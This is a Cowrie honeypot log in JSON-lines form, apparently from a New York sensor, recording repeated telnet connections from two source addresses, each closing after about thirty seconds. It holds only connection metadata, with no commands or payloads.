{"eventid":"cowrie.session.closed","duration":31.395652055740356,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:05.002413Z","src_ip":"208.115.200.90","session":"680a81e8b21a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.768373727798462,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:05.031483Z","src_ip":"208.115.219.122","session":"d5694fa96557","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.44301176071167,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:05.241313Z","src_ip":"208.115.200.90","session":"43d3b102f7d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.955568075180054,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:05.364856Z","src_ip":"208.115.200.90","session":"056c40417cbf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":59744,"dst_ip":"10.17.0.5","dst_port":23,"session":"e9fff0e89fdf","protocol":"telnet","message":"New connection: 208.115.200.90:59744 (10.17.0.5:23) [session: e9fff0e89fdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:05.461938Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":59752,"dst_ip":"10.17.0.5","dst_port":23,"session":"44d33d6b3bdd","protocol":"telnet","message":"New connection: 208.115.200.90:59752 (10.17.0.5:23) [session: 44d33d6b3bdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:06.111532Z"}
{"eventid":"cowrie.session.closed","duration":30.159106254577637,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:06.126932Z","src_ip":"208.115.219.122","session":"98c8f1d941e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.947801113128662,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:06.238421Z","src_ip":"208.115.200.90","session":"cde563649331","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.782692193984985,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:06.321027Z","src_ip":"208.115.200.90","session":"278bcfbc6cab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.531347036361694,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:06.687292Z","src_ip":"208.115.200.90","session":"1dbf7c918dec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.280711889266968,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:07.018991Z","src_ip":"208.115.219.122","session":"64248c202ebc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.932942867279053,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:07.053635Z","src_ip":"208.115.200.90","session":"5486c916f68d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.971319913864136,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:07.152298Z","src_ip":"208.115.200.90","session":"7aeb16ed759d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.298293352127075,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:07.218415Z","src_ip":"208.115.200.90","session":"8a39639255b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.620546102523804,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:07.385375Z","src_ip":"208.115.200.90","session":"cbf7818a48d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.17291235923767,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:08.691527Z","src_ip":"208.115.200.90","session":"0012de4df726","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.55356192588806,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:08.725620Z","src_ip":"208.115.219.122","session":"0adb61a52c11","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":59760,"dst_ip":"10.17.0.5","dst_port":23,"session":"d8a76810f180","protocol":"telnet","message":"New connection: 208.115.200.90:59760 (10.17.0.5:23) [session: d8a76810f180]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:08.968764Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":59776,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d9c909bf3d7","protocol":"telnet","message":"New connection: 208.115.200.90:59776 (10.17.0.5:23) [session: 9d9c909bf3d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:09.103477Z"}
{"eventid":"cowrie.session.closed","duration":30.8754940032959,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:09.194589Z","src_ip":"208.115.200.90","session":"6c64d38ecc88","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":59790,"dst_ip":"10.17.0.5","dst_port":23,"session":"19ed07d6ff18","protocol":"telnet","message":"New connection: 208.115.200.90:59790 (10.17.0.5:23) [session: 19ed07d6ff18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:09.358376Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":59798,"dst_ip":"10.17.0.5","dst_port":23,"session":"365e1296d379","protocol":"telnet","message":"New connection: 208.115.200.90:59798 (10.17.0.5:23) [session: 365e1296d379]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:09.399298Z"}
{"eventid":"cowrie.session.closed","duration":30.946297883987427,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:10.130362Z","src_ip":"208.115.219.122","session":"0a2dcda264da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.89264965057373,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:10.135993Z","src_ip":"208.115.200.90","session":"933019afae67","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.585935354232788,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:10.357748Z","src_ip":"208.115.200.90","session":"9fd329d9c093","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":59810,"dst_ip":"10.17.0.5","dst_port":23,"session":"c84a8d91c597","protocol":"telnet","message":"New connection: 208.115.200.90:59810 (10.17.0.5:23) [session: c84a8d91c597]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:10.396386Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":59816,"dst_ip":"10.17.0.5","dst_port":23,"session":"f831edc4ba10","protocol":"telnet","message":"New connection: 208.115.200.90:59816 (10.17.0.5:23) [session: f831edc4ba10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:10.532569Z"}
{"eventid":"cowrie.session.closed","duration":30.257739067077637,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:11.082707Z","src_ip":"208.115.200.90","session":"7ac4d21fd634","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.55614447593689,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:11.089332Z","src_ip":"208.115.200.90","session":"d11f002ce9be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.89557671546936,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:11.121610Z","src_ip":"208.115.200.90","session":"29d0ab975e24","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.890638828277588,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:11.220343Z","src_ip":"208.115.200.90","session":"002ab53a72b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.276127338409424,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:11.292387Z","src_ip":"208.115.200.90","session":"c19f03a5f68a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.92953848838806,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:11.378625Z","src_ip":"208.115.200.90","session":"d9c578639197","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":59824,"dst_ip":"10.17.0.5","dst_port":23,"session":"408761a97d60","protocol":"telnet","message":"New connection: 208.115.200.90:59824 (10.17.0.5:23) [session: 408761a97d60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:11.389959Z"}
{"eventid":"cowrie.session.closed","duration":31.232398748397827,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:11.474573Z","src_ip":"208.115.200.90","session":"3f09d06b1bba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.760453462600708,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:11.479813Z","src_ip":"208.115.200.90","session":"940db6ec0b90","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":59840,"dst_ip":"10.17.0.5","dst_port":23,"session":"64f36e20585c","protocol":"telnet","message":"New connection: 208.115.200.90:59840 (10.17.0.5:23) [session: 64f36e20585c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:11.683924Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":59854,"dst_ip":"10.17.0.5","dst_port":23,"session":"9dfbc50c5955","protocol":"telnet","message":"New connection: 208.115.200.90:59854 (10.17.0.5:23) [session: 9dfbc50c5955]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:11.812789Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":59864,"dst_ip":"10.17.0.5","dst_port":23,"session":"264e282d1d40","protocol":"telnet","message":"New connection: 208.115.200.90:59864 (10.17.0.5:23) [session: 264e282d1d40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:12.011356Z"}
{"eventid":"cowrie.session.closed","duration":30.90462327003479,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:12.080385Z","src_ip":"208.115.200.90","session":"f74061d1002f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.519383668899536,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:12.090224Z","src_ip":"208.115.200.90","session":"70ba2fba8101","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.494030237197876,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:12.148536Z","src_ip":"208.115.200.90","session":"f45052f4bda3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":59866,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef3674aa0cee","protocol":"telnet","message":"New connection: 208.115.200.90:59866 (10.17.0.5:23) [session: ef3674aa0cee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:12.653330Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":59880,"dst_ip":"10.17.0.5","dst_port":23,"session":"aca39ddfbb56","protocol":"telnet","message":"New connection: 208.115.200.90:59880 (10.17.0.5:23) [session: aca39ddfbb56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:12.869833Z"}
{"eventid":"cowrie.session.closed","duration":30.592886924743652,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:13.099581Z","src_ip":"208.115.200.90","session":"cc0f1c3fcb5d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.89106583595276,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:13.213000Z","src_ip":"208.115.200.90","session":"90bb15162949","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.606898069381714,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:13.485405Z","src_ip":"208.115.200.90","session":"816aa1ec8753","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.858927965164185,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:13.651298Z","src_ip":"208.115.200.90","session":"0f1c69ad9657","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.458675146102905,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:13.851893Z","src_ip":"208.115.200.90","session":"d7d4ca4c7e2d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.822962284088135,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:14.036332Z","src_ip":"208.115.219.122","session":"5ebee6ab5730","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.441455841064453,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:14.106072Z","src_ip":"208.115.200.90","session":"968f28bb636e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.688071727752686,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:14.165152Z","src_ip":"208.115.200.90","session":"73806afacb27","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.02956509590149,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:14.330451Z","src_ip":"208.115.200.90","session":"758bf823d85b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.121330499649048,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:14.467923Z","src_ip":"208.115.200.90","session":"68a1eb517b0f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":41292,"dst_ip":"10.17.0.5","dst_port":23,"session":"c647abc09512","protocol":"telnet","message":"New connection: 208.115.200.90:41292 (10.17.0.5:23) [session: c647abc09512]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:14.835177Z"}
{"eventid":"cowrie.session.closed","duration":31.83436918258667,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:14.895012Z","src_ip":"208.115.200.90","session":"b20f0fef1a98","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.40271520614624,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:14.964439Z","src_ip":"208.115.200.90","session":"016c66a34481","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.43337082862854,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:15.018105Z","src_ip":"208.115.200.90","session":"43ac63efc020","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.740607738494873,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:15.116229Z","src_ip":"208.115.200.90","session":"a2776116decc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.59557795524597,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:15.170517Z","src_ip":"208.115.200.90","session":"efe05ff227ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.23291325569153,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:16.105195Z","src_ip":"208.115.200.90","session":"a63bf4f91356","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":41298,"dst_ip":"10.17.0.5","dst_port":23,"session":"8d9dabcf3b30","protocol":"telnet","message":"New connection: 208.115.200.90:41298 (10.17.0.5:23) [session: 8d9dabcf3b30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:16.364951Z"}
{"eventid":"cowrie.session.closed","duration":31.052944660186768,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:16.371122Z","src_ip":"208.115.200.90","session":"ac668cccdf1b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":41310,"dst_ip":"10.17.0.5","dst_port":23,"session":"9413e43ee366","protocol":"telnet","message":"New connection: 208.115.200.90:41310 (10.17.0.5:23) [session: 9413e43ee366]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:17.058857Z"}
{"eventid":"cowrie.session.closed","duration":30.52889394760132,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:17.069585Z","src_ip":"208.115.219.122","session":"3081ca7bd54a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.58238935470581,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:17.169063Z","src_ip":"208.115.200.90","session":"5d1806fe0947","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.36525297164917,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:17.256818Z","src_ip":"208.115.200.90","session":"dc4b91a10776","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.087313175201416,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:17.317889Z","src_ip":"208.115.200.90","session":"5be70f077bfe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.42105746269226,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:17.497655Z","src_ip":"208.115.200.90","session":"b96a877a0601","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":41314,"dst_ip":"10.17.0.5","dst_port":23,"session":"a50b6065025c","protocol":"telnet","message":"New connection: 208.115.200.90:41314 (10.17.0.5:23) [session: a50b6065025c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:17.786315Z"}
{"eventid":"cowrie.session.closed","duration":30.69425082206726,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:18.165623Z","src_ip":"208.115.200.90","session":"825a9e931480","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.056252241134644,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:18.255832Z","src_ip":"208.115.200.90","session":"6376351bd3a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.33608651161194,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:18.289629Z","src_ip":"208.115.200.90","session":"3c9513397f38","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.9047634601593,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:18.370242Z","src_ip":"208.115.200.90","session":"0a277eb0ad3a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":41316,"dst_ip":"10.17.0.5","dst_port":23,"session":"9bf983951361","protocol":"telnet","message":"New connection: 208.115.200.90:41316 (10.17.0.5:23) [session: 9bf983951361]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:18.377408Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":41324,"dst_ip":"10.17.0.5","dst_port":23,"session":"2561d56b9407","protocol":"telnet","message":"New connection: 208.115.200.90:41324 (10.17.0.5:23) [session: 2561d56b9407]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:18.424523Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":41326,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ccf1e1b2962","protocol":"telnet","message":"New connection: 208.115.200.90:41326 (10.17.0.5:23) [session: 3ccf1e1b2962]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:18.530875Z"}
{"eventid":"cowrie.session.closed","duration":30.45101261138916,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:19.075572Z","src_ip":"208.115.200.90","session":"6874cc7bc571","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.737372636795044,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:19.236544Z","src_ip":"208.115.200.90","session":"130971037d3e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.106462478637695,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:19.378411Z","src_ip":"208.115.200.90","session":"37c49b6858e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.919323921203613,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:19.433273Z","src_ip":"208.115.200.90","session":"049ab809a155","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.833674669265747,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:20.150259Z","src_ip":"208.115.200.90","session":"bdc34a12d13c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.8805673122406,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:20.162196Z","src_ip":"208.115.200.90","session":"72d00df489ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.136483669281006,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:20.176809Z","src_ip":"208.115.200.90","session":"f435ba41bb44","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.403945922851562,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:20.191239Z","src_ip":"208.115.200.90","session":"118d58c8d57e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.091437578201294,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:20.301380Z","src_ip":"208.115.200.90","session":"0896a6d3005f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.771272659301758,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:20.457960Z","src_ip":"208.115.200.90","session":"ac462504580d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.623563766479492,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:21.039771Z","src_ip":"208.115.200.90","session":"2ca251b5b5db","protocol":"telnet"}
